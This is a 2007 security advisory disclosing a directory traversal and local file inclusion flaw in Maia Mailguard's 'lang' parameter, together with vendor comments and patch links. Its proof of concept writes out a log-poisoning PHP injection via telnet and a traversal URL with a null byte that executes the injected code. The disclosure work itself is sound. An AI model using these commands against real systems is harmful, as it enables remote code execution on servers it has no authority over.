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       http://www.netragard.com
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[Advisory Summary]
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Advisory Author      : Adriel T. Desautels
Advisory ID      : NETRAGARD-20070628
Product Name      : Maia Mailguard
Product Version      : <= 1.0.2 (All Platforms)
Vendor Name      : http://www.miamailguard.com
Type of Vulnerability    : Directory Traversal / File Read
Effort (1-10 where 1 == easy)   : 2
Impact        : Arbitrary Code Execution
Vendor Notified      : Yes
Patch Released      : N/A
Discovery Date      : 06/10/2007

[POSTING NOTICE]
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[Product Description]
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"Maia Mailguard is a web-based interface and management system based on
the popular amavisd-new e-mail scanner and SpamAssassin. Written in Perl
and PHP, Maia Mailguard gives end-users control over how their mail is
processed by virus scanners and spam filters, while giving mail 
administrators the power to configure site-wide defaults and limits."

-- http://www.miamailguard.com  --

[Technical Summary]
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A Directory Traversal vulnerability exists in the Maia Mailguard Web 
Application that enables an attacker to execute arbitrary commands on
the affected system. 

[Technical Details]
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Improper input validation on the "lang" variable in Maia Mailguard web
application has resulted in a Directory Traversal vulnerability that 
can be used to execute arbitrary commands on he affected system, or, to
read arbitrary files on the affected system.

[Proof Of Concept]
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1-) An attacker can inject code into the httpd-error.log file by 
    connecting to port 80 on the affected system and issuing a "get 
    <CODE HERE>" command. See example below:

the-wretched:~ simon$ telnet maiatest.snosoft.com 80
Trying 10.0.0.128...
Connected to maiatest.snosoft.com.
Escape character is '^]'.

get &ltpre>><?php system('ls -laf /var/log');?>    

HTTP/1.1 400 Bad Request
Date: Wed, 20 Jun 2007 21:31:58 GMT
Server: Apache/1.3.37 (Unix) PHP/5.2.1 with Suhosin-Patch mod_ssl/2.8.28 OpenSSL/0.9.7e-p1
Connection: close
Content-Type: text/html; charset=iso-8859-1

2-) Once the attacker has injected his code into the log file, the code
    can be executed by forcing the web application to read the log file.
    When the log file is read, the code is executed. Below is an example
    of code execution:

the-wretched:~ simon$ wget http://maiatest.snosoft.com/maia/login.php?lang=
../../../../../../../../../../../../../var/log/httpd-error.log%00.txt

[Vendor Status]
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Vendor has been notified and has been very quick to respond to and
patch this issue.

[Vendor Comments]
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"The only addition that I had was that it seems to only affect systems  
like freebsd...  It would be nice to nail that down.   It suspect the  
root security issue is really with the php and filesystem  
interaction... my patch just simply works around and blocks the root  
problem.   From my developer point of view, I'm asking for one file  
and the filesystem is giving us something else.  That's a serious  
risk. If we could at least express that concern, I think that would  
be prudent.

Chicken and egg problem, I was kinda waiting on you to post our own  
ticket, but.... I can add a comment afterwards. OK.
Here's our ticket which also references the changeset:

http://www.maiamailguard.org/maia/ticket/479

A unified patch may be retrieved from: http://www.maiamailguard.org/ 
maia/changeset/1184?format=diff&new=1184

David Morton"



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Netragard, L.L.C. assumes no liability for the use of the information
provided in this advisory. This advisory was released in an effort to
help the I.T. community protect themselves against a potentially
dangerous security hole. This advisory is not an attempt to solicit
business.

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